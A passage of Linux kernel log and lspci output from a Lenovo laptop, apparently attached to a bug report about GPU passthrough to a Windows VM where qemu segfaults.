terminal=? res=success' +[ 3.766769] audit: type=1130 audit(1601466943.766:10): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=systemd-backlight@leds:tpacpi::kbd_backlight comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 3.880398] rtl8192ce: Chip Version ID: B_CHIP_88C +[ 3.890805] rtl8192ce: Using firmware rtlwifi/rtl8192cfw.bin +[ 3.893648] ieee80211 phy0: Selected rate control algorithm 'rtl_rc' +[ 3.894756] rtlwifi: rtlwifi: wireless switch is on +[ 3.898985] rtl8192ce 0000:03:00.0 wlp3s0: renamed from wlan0 +[ 3.970027] i915 0000:00:02.0: [drm] VT-d active for gfx access +[ 3.970031] checking generic (e0000000 130000) vs hw (f0000000 400000) +[ 3.970032] checking generic (e0000000 130000) vs hw (e0000000 10000000) +[ 3.970033] fb0: switching to inteldrmfb from EFI VGA +[ 3.970116] i915 0000:00:02.0: vgaarb: deactivate vga console +[ 3.970165] i915 0000:00:02.0: [drm] DMAR active, disabling use of stolen memory +[ 3.970759] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013). +[ 3.971190] i915 0000:00:02.0: vgaarb: changed VGA decodes: olddecodes=io+mem,decodes=io+mem:owns=io+mem +[ 4.015237] [drm] Initialized i915 1.6.0 20200515 for 0000:00:02.0 on minor 0 +[ 4.016186] ACPI: Video Device [VID] (multi-head: yes rom: no post: no) +[ 4.016482] input: Video Bus as /devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A08:00/LNXVIDEO:00/input/input8 +[ 4.016700] snd_hda_intel 0000:00:1b.0: bound 0000:00:02.0 (ops i915_audio_component_bind_ops [i915]) +[ 4.045994] Adding 17825788k swap on /swapfile. Priority:-2 extents:13 across:19259388k SSFS +[ 4.080096] psmouse serio1: synaptics: queried max coordinates: x [..5768], y [..5062] +[ 4.110834] psmouse serio1: synaptics: queried min coordinates: x [1174..], y [790..] +[ 4.163668] psmouse serio1: synaptics: Touchpad model: 1, fw: 8.1, id: 0x1e2b1, caps: 0xd002a3/0x940300/0x123800/0x0, board id: 1611, fw id: 1099905 +[ 4.163677] psmouse serio1: synaptics: serio: Synaptics pass-through port at isa0060/serio1/input0 +[ 4.203728] input: SynPS/2 Synaptics TouchPad as /devices/platform/i8042/serio1/input/input7 +[ 4.216023] fbcon: i915drmfb (fb0) is primary device +[ 4.216025] fbcon: Deferring console take-over +[ 4.216028] i915 0000:00:02.0: fb0: i915drmfb frame buffer device +[ 4.242713] intel_rapl_common: Found RAPL domain package +[ 4.242715] intel_rapl_common: Found RAPL domain core +[ 4.242716] intel_rapl_common: Found RAPL domain uncore +[ 4.242724] intel_rapl_common: RAPL package-0 domain package locked by BIOS +[ 4.244682] mousedev: PS/2 mouse device common for all mice +[ 4.247572] random: crng init done +[ 4.285878] snd_hda_codec_realtek hdaudioC0D0: autoconfig for ALC269VC: line_outs=1 (0x14/0x0/0x0/0x0/0x0) type:speaker +[ 4.285881] snd_hda_codec_realtek hdaudioC0D0: speaker_outs=0 (0x0/0x0/0x0/0x0/0x0) +[ 4.285883] snd_hda_codec_realtek hdaudioC0D0: hp_outs=2 (0x15/0x1b/0x0/0x0/0x0) +[ 4.285884] snd_hda_codec_realtek hdaudioC0D0: mono: mono_out=0x0 +[ 4.285886] snd_hda_codec_realtek hdaudioC0D0: inputs: +[ 4.285888] snd_hda_codec_realtek hdaudioC0D0: Mic=0x18 +[ 4.285889] snd_hda_codec_realtek hdaudioC0D0: Dock Mic=0x19 +[ 4.285891] snd_hda_codec_realtek hdaudioC0D0: Internal Mic=0x12 +[ 4.318453] input: HDA Digital PCBeep as /devices/pci0000:00/0000:00:1b.0/sound/card0/input10 +[ 4.318514] input: HDA Intel PCH Mic as /devices/pci0000:00/0000:00:1b.0/sound/card0/input11 +[ 4.318566] input: HDA Intel PCH Dock Mic as /devices/pci0000:00/0000:00:1b.0/sound/card0/input12 +[ 4.318620] input: HDA Intel PCH Headphone as /devices/pci0000:00/0000:00:1b.0/sound/card0/input13 +[ 4.318670] input: HDA Intel PCH Dock Headphone as /devices/pci0000:00/0000:00:1b.0/sound/card0/input14 +[ 4.318722] input: HDA Intel PCH HDMI/DP,pcm=3 as /devices/pci0000:00/0000:00:1b.0/sound/card0/input15 +[ 4.318775] input: HDA Intel PCH HDMI/DP,pcm=7 as /devices/pci0000:00/0000:00:1b.0/sound/card0/input16 +[ 4.318825] input: HDA Intel PCH HDMI/DP,pcm=8 as /devices/pci0000:00/0000:00:1b.0/sound/card0/input17 +[ 4.822473] psmouse serio2: trackpoint: IBM TrackPoint firmware: 0x0e, buttons: 3/3 +[ 5.012240] input: TPPS/2 IBM TrackPoint as /devices/platform/i8042/serio1/serio2/input/input9 +[ 5.230247] kauditd_printk_skb: 23 callbacks suppressed +[ 5.230249] audit: type=1130 audit(1601466945.229:34): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=systemd-logind comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 5.232515] audit: type=1130 audit(1601466945.229:35): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=libvirtd comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 5.236612] audit: type=1130 audit(1601466945.236:36): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=lightdm comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 5.256886] audit: type=1130 audit(1601466945.256:37): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=accounts-daemon comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 5.335642] i915 0000:00:02.0: [drm] *ERROR* uncleared fifo underrun on pipe A +[ 5.335644] i915 0000:00:02.0: [drm] *ERROR* CPU pipe A FIFO underrun +[ 5.337805] i915 0000:00:02.0: [drm] *ERROR* uncleared pch fifo underrun on pch transcoder A +[ 5.337808] i915 0000:00:02.0: [drm] *ERROR* PCH transcoder A FIFO underrun +[ 5.934162] mc: Linux media interface: v0.10 +[ 5.961594] videodev: Linux video capture interface: v2.00 +[ 5.985997] Bluetooth: Core ver 2.22 +[ 5.986064] NET: Registered protocol family 31 +[ 5.986065] Bluetooth: HCI device and connection manager initialized +[ 5.986069] Bluetooth: HCI socket layer initialized +[ 5.986072] Bluetooth: L2CAP socket layer initialized +[ 5.986077] Bluetooth: SCO socket layer initialized +[ 6.002062] usbcore: registered new interface driver btusb +[ 6.033197] audit: type=1130 audit(1601466946.033:38): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=bluetooth comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 6.039668] Bluetooth: BNEP (Ethernet Emulation) ver 1.3 +[ 6.039670] Bluetooth: BNEP filters: protocol multicast +[ 6.039676] Bluetooth: BNEP socket layer initialized +[ 6.060552] uvcvideo: Found UVC 1.00 device Integrated Camera (5986:02d2) +[ 6.070700] uvcvideo 1-1.6:1.0: Entity type for entity Extension 4 was not initialized! +[ 6.070703] uvcvideo 1-1.6:1.0: Entity type for entity Extension 3 was not initialized! +[ 6.070704] uvcvideo 1-1.6:1.0: Entity type for entity Processing 2 was not initialized! +[ 6.070706] uvcvideo 1-1.6:1.0: Entity type for entity Camera 1 was not initialized! +[ 6.070786] input: Integrated Camera: Integrated C as /devices/pci0000:00/0000:00:1a.0/usb1/1-1/1-1.6/1-1.6:1.0/input/input18 +[ 6.070861] usbcore: registered new interface driver uvcvideo +[ 6.070862] USB Video Class driver (1.1.1) +[ 6.111534] Bluetooth: hci0: BCM: chip id 63 +[ 6.112503] Bluetooth: hci0: BCM: features 0x07 +[ 6.116008] audit: type=1130 audit(1601466946.113:39): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=wpa_supplicant comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 6.122845] bridge: filtering via arp/ip/ip6tables is no longer available by default. Update your scripts to load br_netfilter if you need this. +[ 6.128588] Bluetooth: hci0: BCM20702A +[ 6.128593] Bluetooth: hci0: BCM20702A1 (001.002.014) build 0000 +[ 6.129778] Bluetooth: hci0: BCM: firmware Patch file not found, tried: +[ 6.129780] Bluetooth: hci0: BCM: 'brcm/BCM20702A1-0a5c-21e6.hcd' +[ 6.129781] Bluetooth: hci0: BCM: 'brcm/BCM-0a5c-21e6.hcd' +[ 6.133100] tun: Universal TUN/TAP device driver, 1.6 +[ 6.133959] virbr0: port 1(virbr0-nic) entered blocking state +[ 6.134022] virbr0: port 1(virbr0-nic) entered disabled state +[ 6.134083] device virbr0-nic entered promiscuous mode +[ 6.134109] audit: type=1700 audit(1601466946.133:40): dev=virbr0-nic prom=256 old_prom=0 auid=4294967295 uid=0 gid=0 ses=4294967295 +[ 6.145750] audit: type=1325 audit(1601466946.143:41): table=filter family=2 entries=0 op=register pid=848 comm="modprobe" +[ 6.163630] audit: type=1325 audit(1601466946.159:42): table=filter family=10 entries=0 op=register pid=851 comm="modprobe" +[ 6.183964] audit: type=1325 audit(1601466946.183:43): table=filter family=7 entries=0 op=register pid=854 comm="modprobe" +[ 6.189144] NET: Registered protocol family 38 +[ 6.578829] fuse: init (API version 7.31) +[ 6.648185] virbr0: port 1(virbr0-nic) entered blocking state +[ 6.648188] virbr0: port 1(virbr0-nic) entered listening state +[ 6.702935] virbr0: port 1(virbr0-nic) entered disabled state +[ 7.014810] L1TF CPU bug present and SMT on, data leak possible. See CVE-2018-3646 and https://www.kernel.org/doc/html/latest/admin-guide/hw-vuln/l1tf.html for details. +[ 10.892892] wlp3s0: authenticate with 50:d4:f7:b7:b0:ed +[ 10.910194] wlp3s0: send auth to 50:d4:f7:b7:b0:ed (try 1/3) +[ 10.912094] wlp3s0: authenticated +[ 10.912715] wlp3s0: associate with 50:d4:f7:b7:b0:ed (try 1/3) +[ 10.932804] wlp3s0: RX AssocResp from 50:d4:f7:b7:b0:ed (capab=0xc11 status=0 aid=5) +[ 10.933479] wlp3s0: associated +[ 11.025620] kauditd_printk_skb: 81 callbacks suppressed +[ 11.025624] audit: type=1131 audit(1601466951.023:124): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=systemd-rfkill comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 11.055536] IPv6: ADDRCONF(NETDEV_CHANGE): wlp3s0: link becomes ready +[ 13.309352] audit: type=1130 audit(1601466953.306:125): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=NetworkManager-wait-online comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 13.423001] audit: type=1130 audit(1601466953.423:126): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=colord comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 13.544579] audit: type=1130 audit(1601466953.543:127): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=org.cups.cupsd comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 14.221038] Bridge firewalling registered +[ 14.249278] audit: type=1325 audit(1601466954.246:128): table=nat family=2 entries=13 op=replace pid=1141 comm="iptables" +[ 14.251315] audit: type=1325 audit(1601466954.249:129): table=filter family=2 entries=32 op=replace pid=1143 comm="iptables" +[ 14.253178] audit: type=1325 audit(1601466954.253:130): table=filter family=2 entries=34 op=replace pid=1145 comm="iptables" +[ 14.254933] audit: type=1325 audit(1601466954.253:131): table=filter family=2 entries=36 op=replace pid=1147 comm="iptables" +[ 14.257058] audit: type=1325 audit(1601466954.256:132): table=filter family=2 entries=38 op=replace pid=1149 comm="iptables" +[ 14.259112] audit: type=1325 audit(1601466954.256:133): table=filter family=2 entries=39 op=replace pid=1151 comm="iptables" +[ 14.268897] Initializing XFRM netlink socket +[ 14.558667] docker0: port 1(vethc346366) entered blocking state +[ 14.558684] docker0: port 1(vethc346366) entered disabled state +[ 14.558779] device vethc346366 entered promiscuous mode +[ 14.558998] docker0: port 1(vethc346366) entered blocking state +[ 14.559001] docker0: port 1(vethc346366) entered forwarding state +[ 14.559059] IPv6: ADDRCONF(NETDEV_CHANGE): docker0: link becomes ready +[ 14.559147] docker0: port 1(vethc346366) entered disabled state +[ 14.622969] docker0: port 2(vethefbac9e) entered blocking state +[ 14.624737] docker0: port 2(vethefbac9e) entered disabled state +[ 14.625098] device vethefbac9e entered promiscuous mode +[ 14.625858] docker0: port 2(vethefbac9e) entered blocking state +[ 14.625862] docker0: port 2(vethefbac9e) entered forwarding state +[ 14.701963] docker0: port 3(veth7ff194c) entered blocking state +[ 14.702134] docker0: port 3(veth7ff194c) entered disabled state +[ 14.702204] device veth7ff194c entered promiscuous mode +[ 14.705997] docker0: port 3(veth7ff194c) entered blocking state +[ 14.706000] docker0: port 3(veth7ff194c) entered forwarding state +[ 14.863084] cgroup: cgroup: disabling cgroup2 socket matching due to net_prio or net_cls activation +[ 15.190945] eth0: renamed from veth4181187 +[ 15.206320] IPv6: ADDRCONF(NETDEV_CHANGE): vethefbac9e: link becomes ready +[ 15.206427] docker0: port 3(veth7ff194c) entered disabled state +[ 15.252007] eth0: renamed from veth33298ad +[ 15.283368] IPv6: ADDRCONF(NETDEV_CHANGE): vethc346366: link becomes ready +[ 15.283406] docker0: port 1(vethc346366) entered blocking state +[ 15.283409] docker0: port 1(vethc346366) entered forwarding state +[ 15.283620] eth0: renamed from vethbac852e +[ 15.294070] IPv6: ADDRCONF(NETDEV_CHANGE): veth7ff194c: link becomes ready +[ 15.294111] docker0: port 3(veth7ff194c) entered blocking state +[ 15.294112] docker0: port 3(veth7ff194c) entered forwarding state +[ 15.750977] process 'docker/tmp/qemu-check214394182/check' started with executable stack +[ 16.354169] kauditd_printk_skb: 99 callbacks suppressed +[ 16.354171] audit: type=1130 audit(1601466956.353:233): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=tlp comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 19.288351] audit: type=1131 audit(1601466959.286:234): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=user@620 comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 19.305252] audit: type=1131 audit(1601466959.303:235): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=user-runtime-dir@620 comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 23.420216] audit: type=1334 audit(1601466963.416:236): prog-id=16 op=LOAD +[ 23.420222] audit: type=1334 audit(1601466963.416:237): prog-id=17 op=LOAD +[ 24.227782] audit: type=1325 audit(1601466964.226:238): table=filter family=7 entries=0 op=register pid=2255 comm="(t-daemon)" +[ 24.234672] audit: type=1130 audit(1601466964.233:239): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=rtkit-daemon comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 24.272943] audit: type=1130 audit(1601466964.273:240): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=upower comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 24.589346] Bluetooth: RFCOMM TTY layer initialized +[ 24.589353] Bluetooth: RFCOMM socket layer initialized +[ 24.589360] Bluetooth: RFCOMM ver 1.11 +[ 36.076399] audit: type=1131 audit(1601466970.474:241): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=systemd-hostnamed comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 36.287646] audit: type=1325 audit(1601466970.684:242): table=filter family=7 entries=0 op=unregister pid=122 comm="kworker/u16:3" +[ 36.326100] audit: type=1334 audit(1601466970.727:243): prog-id=12 op=UNLOAD +[ 36.326105] audit: type=1334 audit(1601466970.727:244): prog-id=11 op=UNLOAD +[ 39.871925] audit: type=1130 audit(1601466974.270:245): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=udisks2 comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 42.210875] audit: type=1325 audit(1601466976.610:246): table=filter family=7 entries=0 op=register pid=2359 comm="skypeforlinux" +[ 42.319924] audit: type=1325 audit(1601466976.714:247): table=filter family=7 entries=0 op=register pid=2351 comm="slack" +[ 46.362800] audit: type=1130 audit(1601466980.760:248): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=blueman-mechanism comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 47.283320] audit: type=1325 audit(1601466981.680:249): table=filter family=7 entries=0 op=register pid=2860 comm="electron" +[ 71.687189] pci 0000:04:00.0: [10de:1c03] type 00 class 0x030000 +[ 71.687253] pci 0000:04:00.0: reg 0x10: [mem 0x00000000-0x00ffffff] +[ 71.687286] pci 0000:04:00.0: reg 0x14: [mem 0x00000000-0x0fffffff 64bit pref] +[ 71.687312] pci 0000:04:00.0: reg 0x1c: [mem 0x00000000-0x01ffffff 64bit pref] +[ 71.687327] pci 0000:04:00.0: reg 0x24: [io 0x0000-0x007f] +[ 71.687341] pci 0000:04:00.0: reg 0x30: [mem 0x00000000-0x0007ffff pref] +[ 71.687663] pci 0000:04:00.0: 4.000 Gb/s available PCIe bandwidth, limited by 5.0 GT/s PCIe x1 link at 0000:00:1c.2 (capable of 126.016 Gb/s with 8.0 GT/s PCIe x16 link) +[ 71.687809] pci 0000:04:00.0: vgaarb: VGA device added: decodes=io+mem,owns=none,locks=none +[ 71.687814] i915 0000:00:02.0: vgaarb: changed VGA decodes: olddecodes=io+mem,decodes=none:owns=io+mem +[ 71.687857] pci 0000:04:00.0: Adding to iommu group 14 +[ 71.688011] pci 0000:04:00.1: [10de:10f1] type 00 class 0x040300 +[ 71.688054] pci 0000:04:00.1: reg 0x10: [mem 0x00000000-0x00003fff] +[ 71.688404] pci 0000:04:00.1: Adding to iommu group 14 +[ 71.688544] pci 0000:04:00.0: BAR 1: no space for [mem size 0x10000000 64bit pref] +[ 71.688546] pci 0000:04:00.0: BAR 1: failed to assign [mem size 0x10000000 64bit pref] +[ 71.688549] pci 0000:04:00.0: BAR 3: no space for [mem size 0x02000000 64bit pref] +[ 71.688551] pci 0000:04:00.0: BAR 3: failed to assign [mem size 0x02000000 64bit pref] +[ 71.688553] pci 0000:04:00.0: BAR 0: no space for [mem size 0x01000000] +[ 71.688554] pci 0000:04:00.0: BAR 0: failed to assign [mem size 0x01000000] +[ 71.688556] pci 0000:04:00.0: BAR 6: assigned [mem 0xf1400000-0xf147ffff pref] +[ 71.688559] pci 0000:04:00.1: BAR 0: assigned [mem 0xf1480000-0xf1483fff] +[ 71.688566] pci 0000:04:00.0: BAR 5: assigned [io 0x4000-0x407f] +[ 71.688733] vfio-pci 0000:04:00.0: vgaarb: changed VGA decodes: olddecodes=io+mem,decodes=io+mem:owns=none +[ 71.703798] pci 0000:04:00.1: D0 power state depends on 0000:04:00.0 +[ 78.083410] audit: type=2502 audit(1601467012.486:250): pid=716 uid=0 auid=4294967295 ses=4294967295 msg='virt=kvm vm="Win10" uuid=7043c77b-4903-4527-8089-9679d9a17fee vm-ctx=+65534:+992 img-ctx=+65534:+992 model=dac exe="/usr/bin/libvirtd" hostname=? addr=? terminal=? res=success' +[ 78.097608] audit: type=1130 audit(1601467012.503:251): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=virtlogd comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 78.117228] virbr0: port 2(vnet0) entered blocking state +[ 78.117699] virbr0: port 2(vnet0) entered disabled state +[ 78.117830] device vnet0 entered promiscuous mode +[ 78.117854] audit: type=1700 audit(1601467012.523:252): dev=vnet0 prom=256 old_prom=0 auid=4294967295 uid=0 gid=0 ses=4294967295 +[ 78.123436] virbr0: port 2(vnet0) entered blocking state +[ 78.123440] virbr0: port 2(vnet0) entered listening state +[ 78.125703] audit: type=2501 audit(1601467012.529:253): pid=716 uid=0 auid=4294967295 ses=4294967295 msg='virt=kvm resrc=net reason=open vm="Win10" uuid=7043c77b-4903-4527-8089-9679d9a17fee net=52:54:00:91:65:de path="/dev/net/tun" rdev=0A:C8 exe="/usr/bin/libvirtd" hostname=? addr=? terminal=? res=success' +[ 78.167333] audit: type=2501 audit(1601467012.573:254): pid=716 uid=0 auid=4294967295 ses=4294967295 msg='virt=kvm resrc=cgroup reason=deny vm="Win10" uuid=7043c77b-4903-4527-8089-9679d9a17fee cgroup="/sys/fs/cgroup/devices/machine.slice/machine-qemu\x2d1\x2dWin10.scope/" class=all exe="/usr/bin/libvirtd" hostname=? addr=? terminal=? res=success' +[ 78.167449] audit: type=2501 audit(1601467012.573:255): pid=716 uid=0 auid=4294967295 ses=4294967295 msg='virt=kvm resrc=cgroup reason=allow vm="Win10" uuid=7043c77b-4903-4527-8089-9679d9a17fee cgroup="/sys/fs/cgroup/devices/machine.slice/machine-qemu\x2d1\x2dWin10.scope/" class=major category=pty maj=88 acl=rw exe="/usr/bin/libvirtd" hostname=? addr=? terminal=? res=success' +[ 78.167514] audit: type=2501 audit(1601467012.573:256): pid=716 uid=0 auid=4294967295 ses=4294967295 msg='virt=kvm resrc=cgroup reason=allow vm="Win10" uuid=7043c77b-4903-4527-8089-9679d9a17fee cgroup="/sys/fs/cgroup/devices/machine.slice/machine-qemu\x2d1\x2dWin10.scope/" class=path path="/dev/null" rdev=01:03 acl=rw exe="/usr/bin/libvirtd" hostname=? addr=? terminal=? res=success' +[ 78.167575] audit: type=2501 audit(1601467012.573:257): pid=716 uid=0 auid=4294967295 ses=4294967295 msg='virt=kvm resrc=cgroup reason=allow vm="Win10" uuid=7043c77b-4903-4527-8089-9679d9a17fee cgroup="/sys/fs/cgroup/devices/machine.slice/machine-qemu\x2d1\x2dWin10.scope/" class=path path="/dev/full" rdev=01:07 acl=rw exe="/usr/bin/libvirtd" hostname=? addr=? terminal=? res=success' +[ 78.167636] audit: type=2501 audit(1601467012.573:258): pid=716 uid=0 auid=4294967295 ses=4294967295 msg='virt=kvm resrc=cgroup reason=allow vm="Win10" uuid=7043c77b-4903-4527-8089-9679d9a17fee cgroup="/sys/fs/cgroup/devices/machine.slice/machine-qemu\x2d1\x2dWin10.scope/" class=path path="/dev/zero" rdev=01:05 acl=rw exe="/usr/bin/libvirtd" hostname=? addr=? terminal=? res=success' +[ 78.167696] audit: type=2501 audit(1601467012.573:259): pid=716 uid=0 auid=4294967295 ses=4294967295 msg='virt=kvm resrc=cgroup reason=allow vm="Win10" uuid=7043c77b-4903-4527-8089-9679d9a17fee cgroup="/sys/fs/cgroup/devices/machine.slice/machine-qemu\x2d1\x2dWin10.scope/" class=path path="/dev/random" rdev=01:08 acl=rw exe="/usr/bin/libvirtd" hostname=? addr=? terminal=? res=success' +[ 79.719645] vfio-pci 0000:04:00.0: enabling device (0000 -> 0001) +[ 79.720391] vfio-pci 0000:04:00.0: vfio_ecap_init: hiding ecap 0x19@0x900 +[ 80.016048] virbr0: port 2(vnet0) entered disabled state +[ 80.019134] device vnet0 left promiscuous mode +[ 80.019146] virbr0: port 2(vnet0) entered disabled state +[ 88.001283] kauditd_printk_skb: 28 callbacks suppressed +[ 88.001287] audit: type=1131 audit(1601467022.409:287): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=NetworkManager-dispatcher comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 99.367742] audit: type=1100 audit(1601467033.774:288): pid=6124 uid=1000 auid=1000 ses=2 msg='op=PAM:authentication grantors=pam_faillock,pam_permit,pam_faillock acct="sergiy" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/0 res=success' +[ 99.369626] audit: type=1101 audit(1601467033.778:289): pid=6124 uid=1000 auid=1000 ses=2 msg='op=PAM:accounting grantors=pam_permit,pam_time acct="sergiy" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/0 res=success' +[ 99.369821] audit: type=1110 audit(1601467033.778:290): pid=6124 uid=0 auid=1000 ses=2 msg='op=PAM:setcred grantors=pam_faillock,pam_permit,pam_faillock acct="root" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/0 res=success' +[ 99.370907] audit: type=1105 audit(1601467033.778:291): pid=6124 uid=0 auid=1000 ses=2 msg='op=PAM:session_open grantors=pam_limits,pam_unix,pam_permit acct="root" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/0 res=success' +[ 100.802449] vfio-pci 0000:04:00.0: vfio_ecap_init: hiding ecap 0x19@0x900 +[ 100.805303] qemu-system-x86[6198]: segfault at a8 ip 0000000000614c49 sp 00007ffc9a791da0 error 4 in qemu-system-x86_64[4fe000+51c000] +[ 100.805310] Code: 00 55 53 48 89 fb 48 83 ec 08 48 8b 6f 58 67 e8 3d fe ee ff 48 8b 7b 40 83 05 4e 02 a8 00 01 48 85 ff 74 06 67 e8 e7 4f 27 00 <48> 8b 85 a8 00 00 00 48 85 c0 74 53 8b 93 a0 00 00 00 eb 0f 0f 1f +[ 100.805337] audit: type=1701 audit(1601467035.215:292): auid=1000 uid=0 gid=0 ses=2 pid=6198 comm="qemu-system-x86" exe="/usr/bin/qemu-system-x86_64" sig=11 res=1 +[ 100.817647] audit: type=1334 audit(1601467035.225:293): prog-id=20 op=LOAD +[ 100.817803] audit: type=1334 audit(1601467035.225:294): prog-id=21 op=LOAD +[ 100.819022] audit: type=1130 audit(1601467035.228:295): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=systemd-coredump@1-6254-0 comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 100.819781] audit: type=1325 audit(1601467035.228:296): table=filter family=7 entries=0 op=register pid=6255 comm="(coredump)" +[ 114.388954] kauditd_printk_skb: 6 callbacks suppressed +[ 114.388957] audit: type=1101 audit(1601467048.799:303): pid=6766 uid=1000 auid=1000 ses=2 msg='op=PAM:accounting grantors=pam_permit,pam_time acct="sergiy" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/0 res=success' +[ 114.389190] audit: type=1110 audit(1601467048.799:304): pid=6766 uid=0 auid=1000 ses=2 msg='op=PAM:setcred grantors=pam_faillock,pam_permit,pam_env,pam_faillock acct="root" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/0 res=success' +[ 114.389701] audit: type=1105 audit(1601467048.799:305): pid=6766 uid=0 auid=1000 ses=2 msg='op=PAM:session_open grantors=pam_limits,pam_unix,pam_permit acct="root" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/0 res=success' + +lspci -vvv: + +00:00.0 Host bridge: Intel Corporation 3rd Gen Core processor DRAM Controller (rev 09) + Subsystem: Lenovo Device 21fa + Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- + Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort+ >SERR- <PERR- INTx- + Latency: 0 + IOMMU group: 0 + Capabilities: [e0] Vendor Specific Information: Len=0c <?> + Kernel driver in use: ivb_uncore + +00:02.0 VGA compatible controller: Intel Corporation 3rd Gen Core processor Graphics Controller (rev 09) (prog-if 00 [VGA controller]) + Subsystem: Lenovo Device 21fa + Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ + Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Latency: 0 + Interrupt: pin A routed to IRQ 33 + IOMMU group: 1 + Region 0: Memory at f0000000 (64-bit, non-prefetchable) [size=4M] + Region 2: Memory at e0000000 (64-bit, prefetchable) [size=256M] + Region 4: I/O ports at 7000 [size=64] + Expansion ROM at 000c0000 [virtual] [disabled] [size=128K] + Capabilities: [90] MSI: Enable+ Count=1/1 Maskable- 64bit- + Address: fee00018 Data: 0000 + Capabilities: [d0] Power Management version 2 + Flags: PMEClk- DSI+ D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) + Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- + Capabilities: [a4] PCI Advanced Features + AFCap: TP+ FLR+ + AFCtrl: FLR- + AFStatus: TP- + Kernel driver in use: i915 + Kernel modules: i915 + +00:14.0 USB controller: Intel Corporation 7 Series/C210 Series Chipset Family USB xHCI Host Controller (rev 04) (prog-if 30 [XHCI]) + Subsystem: Lenovo Device 21fa + Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ + Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Latency: 0 + Interrupt: pin A routed to IRQ 30 + IOMMU group: 2 + Region 0: Memory at f2520000 (64-bit, non-prefetchable) [size=64K] + Capabilities: [70] Power Management version 2 + Flags: PMEClk- DSI- D1- D2- AuxCurrent=375mA PME(D0-,D1-,D2-,D3hot+,D3cold+) + Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME- + Capabilities: [80] MSI: Enable+ Count=1/8 Maskable- 64bit+ + Address: 00000000fee00318 Data: 0000 + Kernel driver in use: xhci_hcd + Kernel modules: xhci_pci + +00:16.0 Communication controller: Intel Corporation 7 Series/C216 Chipset Family MEI Controller #1 (rev 04) + Subsystem: Lenovo Device 21fa + Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- 